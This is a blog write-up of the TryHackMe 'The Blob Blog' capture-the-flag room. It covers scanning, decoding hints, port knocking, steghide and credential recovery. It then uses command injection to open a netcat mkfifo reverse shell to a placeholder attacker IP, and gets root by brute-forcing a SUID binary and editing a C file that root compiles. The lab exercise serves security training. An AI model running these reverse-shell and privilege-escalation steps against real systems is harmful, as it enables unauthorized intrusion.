Home The Blob Blog Writeup
Post
Cancel

The Blob Blog Writeup

/assets/BBLOG/blob.png

This is a write-up for the room “The Blob Blog” from TryHackMe, created by bobloblaw.

Enumeration

First things first, the machine needs to be enumerated. A quick RustScan reveals two open ports, 22 and 80. RustScan is a neat tool to speed up port discovery. I’ve explained a bit about it in my “Easy Peasy” write-up. Next step is to run nmap on the found ports:

1
2
3
4
5
6
7
8
9
10
11
# Nmap 7.80 scan initiated Fri Sep  4 08:47:29 2020 as: nmap -sC -sV -T4 -oN scan_res -p 80, 22 10.10.153.178
Nmap scan report for 10.10.153.178
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  4 08:47:40 2020 -- 2 IP addresses (1 host up) scanned in 10.42 seconds

For some reason nmap doesn’t detect anything on port 22, but when checking, SSH is running on that port.

I’ve done a quick gobuster scan to look for hidden directories. This was unsuccessful. The only web directory it found was “server-status”, which is inaccessible when browsed to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.153.178
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.153.178
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/04 08:48:06 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/server-status (Status: 403)
===============================================================
2020/09/04 08:50:26 Finished
===============================================================

Web-page source inspection

Opening the website shows the usual Apache2 Default page. This is the default html file that gets loaded when apache2 is first installed on a system. It shows information about certain web-server related config files and their locations. In most cases this page isn’t all that useful, however it’s been getting more and more popular for challenge machines to hide hints or usernames & credentials in it. Looking at the source code (by pressing CTRL + U) reveals that indeed, there is something behind the scenes.

1
2
3
4
5
6
7
8
9
10
11
There is a weird looking comment in the top portion of the page
<!--
K1stLS0+Kys8XT4rLisrK1stPisrKys8XT4uLS0tLisrKysrKysrKy4tWy0+KysrKys8XT4tLisrKytbLT4rKzxdPisuLVstPisrKys8XT4uLS1bLT4rKysrPF0+LS4tWy0+KysrPF0+LS4tLVstLS0+KzxdPi0tLitbLS0tLT4rPF0+KysrLlstPisrKzxdPisuLVstPisrKzxdPi4tWy0tLT4rKzxdPisuLS0uLS0tLS0uWy0+KysrPF0+Li0tLS0tLS0tLS0tLS4rWy0tLS0tPis8XT4uLS1bLS0tPis8XT4uLVstLS0tPis8XT4rKy4rK1stPisrKzxdPi4rKysrKysrKysrKysuLS0tLS0tLS0tLi0tLS0uKysrKysrKysrLi0tLS0tLS0tLS0uLS1bLS0tPis8XT4tLS0uK1stLS0tPis8XT4rKysuWy0+KysrPF0+Ky4rKysrKysrKysrKysrLi0tLS0tLS0tLS0uLVstLS0+KzxdPi0uKysrK1stPisrPF0+Ky4tWy0+KysrKzxdPi4tLVstPisrKys8XT4tLi0tLS0tLS0tLisrKysrKy4tLS0tLS0tLS0uLS0tLS0tLS0uLVstLS0+KzxdPi0uWy0+KysrPF0+Ky4rKysrKysrKysrKy4rKysrKysrKysrKy4tWy0+KysrPF0+LS4rWy0tLT4rPF0+KysrLi0tLS0tLS4rWy0tLS0+KzxdPisrKy4tWy0tLT4rKzxdPisuKysrLisuLS0tLS0tLS0tLS0tLisrKysrKysrLi1bKys+LS0tPF0+Ky4rKysrK1stPisrKzxdPi4tLi1bLT4rKysrKzxdPi0uKytbLS0+KysrPF0+LlstLS0+Kys8XT4tLS4rKysrK1stPisrKzxdPi4tLS0tLS0tLS0uWy0tLT4rPF0+LS0uKysrKytbLT4rKys8XT4uKysrKysrLi0tLS5bLS0+KysrKys8XT4rKysuK1stLS0tLT4rPF0+Ky4tLS0tLS0tLS0uKysrKy4tLS4rLi0tLS0tLS4rKysrKysrKysrKysrLisrKy4rLitbLS0tLT4rPF0+KysrLitbLT4rKys8XT4rLisrKysrKysrKysrLi4rKysuKy4rWysrPi0tLTxdPi4rK1stLS0+Kys8XT4uLlstPisrPF0+Ky5bLS0tPis8XT4rLisrKysrKysrKysrLi1bLT4rKys8XT4tLitbLS0tPis8XT4rKysuLS0tLS0tLitbLS0tLT4rPF0+KysrLi1bLS0tPisrPF0+LS0uKysrKysrKy4rKysrKysuLS0uKysrK1stPisrKzxdPi5bLS0tPis8XT4tLS0tLitbLS0tLT4rPF0+KysrLlstLT4rKys8XT4rLi0tLS0tLi0tLS0tLS0tLS0tLS4tLS1bLT4rKysrPF0+Li0tLS0tLS0tLS0tLS4tLS0uKysrKysrKysrLi1bLT4rKysrKzxdPi0uKytbLS0+KysrPF0+Li0tLS0tLS0uLS0tLS0tLS0tLS0tLi0tLVstPisrKys8XT4uLS0tLS0tLS0tLS0tLi0tLS4rKysrKysrKysuLVstPisrKysrPF0+LS4tLS0tLVstPisrPF0+LS4tLVstLS0+Kys8XT4tLg==
-->

And on the bottom there is another comment
<!--
Dang it Bob, why do you always forget your password?
I'll encode for you here so nobody else can figure out what it is: 
HcfP8J54AK4
-->

Decoding things

The first (long) comment above looks like it’s something encoded with base64. The two == sign at the end is usually a good indication that something is Base64 encoded. Frankly, it’s easy to decode. Just plop the long string into CyberChef (An online tool made by the GCHQ) and select “From base64” to decode the string. The result is another long line seemingly making no sense.

1
+[--->++<]>+.+++[->++++<]>.---.+++++++++.-[->+++++<]>-.++++[->++<]>+.-[->++++<]>.--[->++++<]>-.-[->+++<]>-.--[--->+<]>--.+[---->+<]>+++.[->+++<]>+.-[->+++<]>.-[--->++<]>+.--.-----.[->+++<]>.------------.+[----->+<]>.--[--->+<]>.-[---->+<]>++.++[->+++<]>.++++++++++++.---------.----.+++++++++.----------.--[--->+<]>---.+[---->+<]>+++.[->+++<]>+.+++++++++++++.----------.-[--->+<]>-.++++[->++<]>+.-[->++++<]>.--[->++++<]>-.--------.++++++.---------.--------.-[--->+<]>-.[->+++<]>+.+++++++++++.+++++++++++.-[->+++<]>-.+[--->+<]>+++.------.+[---->+<]>+++.-[--->++<]>+.+++.+.------------.++++++++.-[++>---<]>+.+++++[->+++<]>.-.-[->+++++<]>-.++[-->+++<]>.[--->++<]>--.+++++[->+++<]>.---------.[--->+<]>--.+++++[->+++<]>.++++++.---.[-->+++++<]>+++.+[----->+<]>+.---------.++++.--.+.------.+++++++++++++.+++.+.+[---->+<]>+++.+[->+++<]>+.+++++++++++..+++.+.+[++>---<]>.++[--->++<]>..[->++<]>+.[--->+<]>+.+++++++++++.-[->+++<]>-.+[--->+<]>+++.------.+[---->+<]>+++.-[--->++<]>--.+++++++.++++++.--.++++[->+++<]>.[--->+<]>----.+[---->+<]>+++.[-->+++<]>+.-----.------------.---[->++++<]>.------------.---.+++++++++.-[->+++++<]>-.++[-->+++<]>.-------.------------.---[->++++<]>.------------.---.+++++++++.-[->+++++<]>-.-----[->++<]>-.--[--->++<]>-.

Fortunately this is an iconic way of encoding, or programming, to be more specific. The above is a program written in the “Brainfuck” language. It might look intimidating at first but numerous online tools are available for decoding it. Running the code with a website (El Brainfuck - ) gives a much more friendly output.

1
2
3
# Decoded text from brainfuck
When I was a kid, my friends and I would always knock on 3 of our neighbors doors.  
Always houses 1, then 3, then 5!

Not sure what this message is meant to convey, but maybe it’ll be useful later.

The other comment hints at the existence of a user named Bob as well as his encoded password.

This took me longer than it should have, but the password is encoded with Base58. It was guesswork to figure it out, but based on the first encoded message, it makes sense that Base encoding was reused.

1
2
# Decoding Bob's password from Base58
Cyberchef "From Base58": [REDACTED]

More enumeration

Trying to SSH in with user Bob and the above password fails. Hmmmm…

I’ve scanned the machine again with nmap (without giving it any specific port) and I noticed something. The version of SSH on this machine is lower than on most newly released machines.

1
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)

After a bit of googling with the keywords “OpenSSH 6.6.1p1 exploit” an article popped up from an older VulnHub machine explaining port knocking. This is a new concept for me so I just repeated what I saw in that article. Port knocking seems to “unlock” more ports/services on the machine after certain ports have been contacted or scanned. And now the first encoded message comes in handy! It hints at knocking on doors (ports) 1 and 3 and 5. This can be done by running:

1
nmap -r -p1,3,5 <target-ip>

And it worked! Scanning the machine again with nmap shows a couple more ports open that weren’t there before. There’s 21 (FTP) and three more HTTP ports!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.80 scan initiated Fri Sep  4 10:12:48 2020 as: nmap -sC -sV -oN scan_res 10.10.153.178
Nmap scan report for 10.10.153.178
Host is up (0.076s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.2
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e7:28:a6:33:66:4e:99:9e:8e:ad:2f:1b:49:ec:3e:e8 (DSA)
|   2048 86:fc:ed:ce:46:63:4d:fd:ca:74:b6:50:46:ac:33:0f (RSA)
|   256 e0:cc:05:0a:1b:8f:5e:a8:83:7d:c3:d2:b3:cf:91:ca (ECDSA)
|_  256 80:e3:45:b2:55:e2:11:31:ef:b1:fe:39:a8:90:65:c5 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
445/tcp  open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.5.3)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep  4 10:14:03 2020 -- 1 IP address (1 host up) scanned in 74.90 seconds

Web-page source inspection Round 2

Browsing to the website on port 445 and looking at the source (CTRL + U) now shows a different message.

1
2
3
4
<!--
Bob, I swear to goodness, if you can't remember [REDACTED] 
It's not that hard
-->

Wfuzz time!

With the new ports revealed, I’ve gone ahead and ran wfuzz on port 8080 to see if there are any hidden directories. I prefer wfuzz to gobuster for quickly looking for hidden directories. And what a surprise! Wfuzz found two endpoints. Blog and login. Browsing to blog redirects to the login page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ wfuzz --hc 404 -w /usr/share/wordlists/wfuzz/general/common.txt -u http://10.10.153.178:8080/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.153.178:8080/FUZZ
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000113:   302        3 L      24 W     219 Ch      "blog"
000000487:   200        17 L     41 W     546 Ch      "login"

Total time: 14.00691
Processed Requests: 949
Filtered Requests: 947
Requests/sec.: 67.75223

Running wfuzz the same way, on port 445 shows that a “user” directory (or file) is accessible

1
2
3
4
5
6
7
8
Target: http://10.10.153.178:445/FUZZ
Total requests: 949

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000864:   200        49 L     55 W     3401 Ch     "user"

Turns out, it’s a private OpenSSH key.

FTP enumeration

After wasting a lot of time trying to figure out why the above SSH private key isn’t working, I took a step back and to my surprise managed to log into FTP with the first password found.

On the FTP server there was a “cool.jpeg” file that could be downloaded. At first glance it seems rather useless but running steghide on it and trying the second password, a file “out.txt” can be extracted from the image. This text file shows the following:

1
2
zcv:p1fd3v3amT@55n0pr
/bobs_safe_for_stuff

The first line looks like a pair of credentials in the form of user:password that might have been encoded. The second line looks to be a path for a yet-to-be discovered URL.

I went ahead and popped in the URL to my browser using port 445 (no specific reason for 445, that’s what I had there already) and voila!

On http://:445/bobs_safe_for_stuff, there is a new message! Looks to be the password for the blog that wfuzz discovered earlier.

1
2
Remember this next time bob, you need it to get into the blog! I'm taking this down tomorrow, so write it down!
- youmayenter

I’m gonna be honest, the above message made me try a bunch of things that were all unsuccessful, however after lots of trial and error the answer just happened to pop up.

Using the hint from the message as the KEY, it’s possible to decode the garbled text that was found alongside the “/bobs_safe_for_stuff” URL. The cipher used here is the VIGENERE cipher. Cyberchef makes the process easy. The resulting username:password pair is:

1
bob:[REDACTED]

These are the credentials for the blog running on port 8080. Logging in shows a basic blog, with a couple blog posts and a review page. There is a text-box that takes user input and pushes it to the review page. This seems like it could be abused.

/assets/BBLOG/review.png The input from the above box is converted into a HTML page and is shown when navigating to the review page. The input is not sanitized so there is an opportunity for HTML code injection. A simple way to test for this vulnerability is to submit the following code and visit the review page. The code executes a single line of javascript code that creates a popUp with “Hello, World” when the review page is loaded.

1
2
3
4
5
6
7
<html>
<body>
<script>
alert( 'Hello, world!' );
</script>
</body>
</html>

And indeed, the text box is vulnerable. Time to use it for something cool.

Realising when you’ve failed

I’ve spent another hour researching XSS and javascript reverse shells to see how the above vulnerability could be abused but ended up realising that it is much much simpler than anything like that. The room’s creator Sir Bobloblaw helped me out here and made me facepalm. These are his words: Whenever you have an input check if you have RCE, for example see if you can either ping your machine or see if you can see which user you are. The input box for review submission is vulnerable to remote code execution. This can be verified by entering a simple command like whoami and the review page will contain the output of the command, www-data.

Foothold

Using the discovered RCE with a known netcat command, a reverse shell can be spawned easily.

1
2
3
4
5
6
7
# On the blog, submit this in the review box
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> <port> >/tmp/f

# On the attacker machine start a netcat listener
nc -lvnp <port>

# Now click on the review page and a shell will spawn in the terminal

The reverse shell grants access to the www-data user. It’s possible to look around the file system but most things seem normal, as in locked down as usual. Looking at the /etc/passwd or in /home shows that there is another user called bobloblaw . Looking through the files in the webserver’s directory shows two image files that weren’t accessible via the web browser. reno.jpg and reno2.jpg

I’ve downloaded these files and ran steghide on them to check for secrets, and yet again there are secrets! In one of the images there is a hidden text file that looks kinda suspicious

1
2
3
4
jcug xue, paw W's vhooz pxgz Moxhr'y gcm.  Lt O fcaor ikcuvs gqczksx dbopor, L'r vuchdprb pk d fgepow, qac mux xavh lritg o xdphlh nrzk!

# After decoding it with cyberchef (VIGENERE - Key: dog)
good job, but I'm still just Jared's dog.  If I could choose another animal, I'd probably be a rabbit, cuz you just found a rabbit hole!

Turns out this is another vigenere cipher and I plainly guessed the keyword to be dog. The message turned out to be a rabbit hole. Nice.

Cronjobs

Something that I noticed in the meantime is a message appearing every minute or so, saying You haven't rooted me yet? Jeez . This is a good indication of an on-going cronjob. Looking at the /etc/crontab file shows the following:

1
2
3
4
5
6
7
8
9
10
11
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

*  *    * * *   root    cd /home/bobloblaw/Desktop/.uh_oh && tar -zcf /tmp/backup.tar.gz *

The bottom line indicates that a command is running every minute as root! This could be useful. This command is moving to the .uh_oh directory in bobloblaw’s Desktop, makes a backup of it and stores it in /tmp. Problem is, that backup file 45 bytes. When extracted, there is nothing in it. This might be another rabbit hole. I wonder where that broadcast message is coming from…

One step forward, two steps back

I backtracked a bit again as I remembered I had the password for an ftp user (bob). With the first password, I switched to the user Bob and started enumerating again. Looking for SUID binaries with the following command revealed an interesting program, /usr/bin/BlogFeedback, owned by bobloblaw.

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

/usr/bin/blogFeedback

This is an SUID binary, running strings on the file shows the function setreuid, /bin/sh as well as system. This is a good indication that the binary is changing the user id and spawning a shell. Maybe it’s possible to to execute commands as bobloblaw. When ran, the program outputs Order my blogs!. Let’s do that!

1
/usr/bin/blogFeedback blog1 blog2 blog3 blog4 blog5 blog6

Doing the above will output Hmm... I disagree!. Hmmm indeed… Seems like the blog post’s order is randomised. Let’s pwn this program!

Binary pwning

I found out by trial-and-error that the program checks whether there are 6 arguments submitted or not. If there are 6 arguments (example: 1 2 3 4 5 6), it continues to check if they are in order or not. So I made a list of all possible combinations of the number sequence 1 2 3 4 5 6 (using some online tool). There are 720 possible combinations. Checking all by hand would be a major pain and time sink, so I wanted to write a python script to do it. However, I quickly realised it can be done with a quick bash one-liner. Bash is one of my favourite languages after all. I’ve put the list of numbers in a file names numList and made this short one-liner bash program to iterate over the lines in the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for ((i = 1; i < 721; i++)); do ./blogFeedback $(head -n"$i" numList | tail -n1); done

# Extended version
 for ((i = 1; i < 721; i++)); do 
		   ./blogFeedback $(head -n"$i" numList | tail -n1); 
      done 

The fist part is a for loop to count from 1 to 720 (the number of lines in numList)
The meat of it though is the second line, calling the blogFeedback program
and giving it the argument of $(head -n"$i" numList | tail -n1)
This little trick is calling the bash head program with the line number from the
for loop and the tail program with the argument -n1.
What this does is simply return the current n-th (1-720) line from the numList file
and pipes it into the blogFeedback program. Essentially trying every combination.

A very useful resource that I frequently use and recommend is this bash cheatsheet:

Bash scripting cheatsheet

So in theory (I’ve tested this locally), this one-liner will find the correct combination to the blogFeedback program and when that happens, a user shell of bobloblaw should be spawned. Aaaand it worked! After some time of trying, I am blob!

/assets/BBLOG/amBlob.png

The road after User

Now bobloblaw’s home directory is all accessible. The user flag is located in the Desktop directory with a couple of images.

Persistence is key, as they say. So quickly grabbing bobloblaw’s private ssh key is a good idea. With the private key it’s possible to ssh back into the box as bobloblaw even when the room has been restarted, so this acts as some form of checkpoint.

Next thing to do is to enumerate, enumerate, enumerate. There’s a file in bobloblaw’s homedirectory called .sudo_as_admin_successful . This is an indication that the user has some sudo privileges. Running sudo -l shows that bobloblaw can indeed run sudo. Better yet, no password required. Sadly, the binaries allowed for sudo usage are not really useful for privilege escalation.

1
2
3
4
5
6
7
8
bobloblaw@bobloblaw-VirtualBox:/home/bobloblaw$ sudo -l
Matching Defaults entries for bobloblaw on bobloblaw-VirtualBox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bobloblaw may run the following commands on bobloblaw-VirtualBox:
    (root) NOPASSWD: /bin/echo, /usr/bin/yes
bobloblaw@bobloblaw-VirtualBox:/home/bobloblaw$ You haven't rooted me yet? Jeez

Digging through the home directory I’ve found a couple pictures. One being a rabbit hole, duh. The other however did reveal a hint after decoding it by doing BINARY → ASCII → FROM BASE64 → From brainfuck. The message says:

1
The stove's timer is about to go off... there are some other timers too...

Turns out there is an alternative to cron. Systemd timers. Might be worth reading up on it.

Looking in the /etc/systemd/system folder there’s an odd file, patch.service with the contents:

1
2
3
4
5
6
7
8
9
10
11
12
[Unit]
Description=Patch my stuffs

[Service]
User=root
Group=root
ExecStart=/bin/sh /root/.patch/patch.sh
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Unfortunately the /root directory is not readable so the contents of patch.sh remain a mystery. Or will they? As soon as I moved back to the filesystem root I noticed another oddity. The existence of a .patch folder. Low and behold inside it is the script patch.sh and it’s contents:

1
2
3
4
#!/bin/bash

/bin/echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
/bin/sysctl > kernel.unprivileged_bpf_disabled=1

WELL… turns out this is a way to prevent a type of privesc within eBPF. Guess it’s time to move on.

Taking one final step backwards

I sat there for a bit and thought about my life, the universe and everything while those annoying messages of You haven't rooted me yet? Jeez kept popping up. And it made me go back and take another look in bobloblaw’s home directory. I saw a C source code file, which when compiled prints the above message but I ignored it the first time and moved on. This time, however it dawned on me, what if you edit the source code? Would the popUp messages change too? Well well well. IT DOES CHANGE!

1
2
3
4
5
6
7
8
# Original source code of .boring_file.c

#include <stdio.h>

int main() {
        printf("You haven't rooted me yet? Jeez");
        return 0;
}

Privesc time!

The file above opens up code execution as root. There must be some sort of cronjob scheduled for the root user, that compiles the above code and executes it as root. With the system() function in C, it’s possible to run any command. It’s possible to start a netcat listener, spawn a root shell etc but I went for the lazy route and added 2 lines to the code to read the root flag.

1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>
int main() {
        printf("You haven't rooted me yet? Jeez");
		system("cat /root/root.txt");
        return 0;
}

Final words

And that is it for this room. I’ll be honest it was pretty challenging for me. It took about 3 days to finally get root but it was so damn worth it. I learnt what port knocking is and that sometimes taking a step (or two) backwards can send you in the right direction. Thanks again for Bobloblaw for creating such a cool room and helping me out when I got stuck!

This post is licensed under CC BY 4.0 by the author.